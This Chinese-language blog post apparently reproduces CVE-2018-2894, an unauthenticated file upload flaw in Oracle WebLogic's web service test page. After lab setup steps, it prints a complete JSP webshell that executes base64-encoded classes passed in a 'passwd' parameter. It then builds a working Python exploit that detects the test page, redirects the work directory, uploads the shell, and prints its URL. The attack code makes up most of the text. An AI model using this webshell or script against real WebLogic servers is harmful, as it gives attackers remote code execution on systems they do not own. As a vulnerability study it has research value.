CVE-2018-2894WebLogic未授权任意文件上传
这个洞的限制就比较多了
限制版本
Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
限制配置
该漏洞的影响模块为web服务测试页,在默认情况下不启用。
/ws_utc/config.do
/ws_utc/begin.do默认情况下不启用的意思就是,这个洞看脸,管理员开没开这个模式,不过现在基本上就没有了应该
但是还是尝试复现一下,所以手动开启
登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存
登陆就直接ip:7001/console就跳转到登陆页面了
登陆的账号密码
docker-compose logs | grep password
-
直接在kali上拉取镜像
weblogic:172.20.0.2:7001
-
登陆开启Web服务测试页
别忘了保存
-
接下来模拟攻击,换个没登陆的浏览器访问
/ws_utc/config.do
设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
-
准备jsp webshell
连接密码passwd
原帖地址:https://blog.csdn.net/qq_43615820/article/details/116357744
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
-
上传,注意先开burp再上传,回包中查看时间戳,文件在http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
-
访问一句话木马看看传没传上去
http://192.168.27.137:7001/ws_utc/css/config/keystore/1681375502098_passwd.jsp
-
蚁剑连接
成功getshell
接下来尝试写个py脚本
挑战自己!
经过前面的复现,我认为利用漏洞其实主要在未授权的一个页面
http://192.168.27.137:7001/ws_utc/config.do
后来查了一下如何检测是否开启测试页面
http://192.168.27.137:7001/ws_utc/resources/setting/options/general 如果成功访问到该页面证明开启了
开写!
import re
import requests
def text(host):
payload1="http://"+host+"/ws_utc/resources/setting/options/general" #拼接地址
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
}#搞个ua省的被防爬虫干掉
try:
req=requests.get(payload1,headers=header)
if req.status_code == 404 : #状态码检测 404 说明不存在该漏洞
exit("{} 不存在CVE-2018-2894".format(host))
elif "</defaultValue>" in req.text:
print("存在该漏洞")
return 1
except:
exit("error host")
来解释一下这个函数,非常简单,直接发一个请求给/ws_utc/resources/setting/options/general,如果回包的状态码是404则漏洞不存在,如果存在关键词则说明漏洞可能存在
第二步,修改路径,先手动修改一下抓个包,看看传到那了,传什么了
发现上传路径与参数,直接开些
def change_path(host):
data={
"setting_id":"general", "BasicConfigOptions.workDir":"/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css",
"BasicConfigOptions.proxyHost":"",
"BasicConfigOptions.proxyPort":"80"
}
payload = "http://" + host + "/ws_utc/resources/setting/options" # 拼接地址
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
} # 搞个ua省的被防爬虫干掉
print(payload)
try:
req = requests.post(payload,headers=header,data=data)
if req.status_code == 200: #
return "修改成功"
else:
exit("错误")
except:
exit("error host")
定义data 把抓到的包中的参数写进来,注意workDir,要写
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
定义payload,把目标地址拿下来
直接发包,状态码如果为200,则修改成功
第三步!上传文件!
还是老套路,先手动传一个,看看目标地址和参数
看到如上的参数,再看看目标地址
看到这个地址我一惊,这有个时间戳,那还得动态获取这个地址,但是!我放到重发器里试了一下,发现这玩意没啥用,那就直接搞代码吧!
def upload_jsp(host):
payload = "http://" + host + "/ws_utc/resources/setting/keystore" # 拼接地址
file={
"ks_name":"a",
"ks_edit_mode":"false",
"ks_password_front":"1",
"ks_password":"1",
"ks_password_changed":"true",
"ks_filename":"passwd.jsp",
'file': open('./need/passwd.jsp', 'rb')
}
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
}
request = requests.post(payload, files=file)
response = request.text
match = re.findall("<id>(.*?)</id>", response)
if match:
tid = match[-1]
shell_path = "http://"+host + "/ws_utc/css/config/keystore/" +str(tid) + "_passwd.jsp"
if requests.get(shell_path,headers=header).status_code==200:
print("{} 存在 CVE-2018-2894".format(host))
print("webshell path:{}".format(shell_path))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
这里面值得说的:
file中最后一个参数要导入木马文件哦
前面说到上传文件的命名是时间戳_文件名,使用正则匹配获取这个id,但是观察数据包发现回包中有所有文件的id,所以取最后一个(新上传的),match[-1]
然后发包,发包后访问一下shell页面,如果状态码为200,则可能上传成功,发出提示,如果没有则说明上传失败
最后!写个主函数
if __name__=='__main__':
host="" #例子 192.168.0.17:7001
if text(host)==1:
change_path(host)
upload_jsp(host)
else:
exit()
这个就没啥好说的了,用VPS开了一个靶场,跑一下试试
成功咯!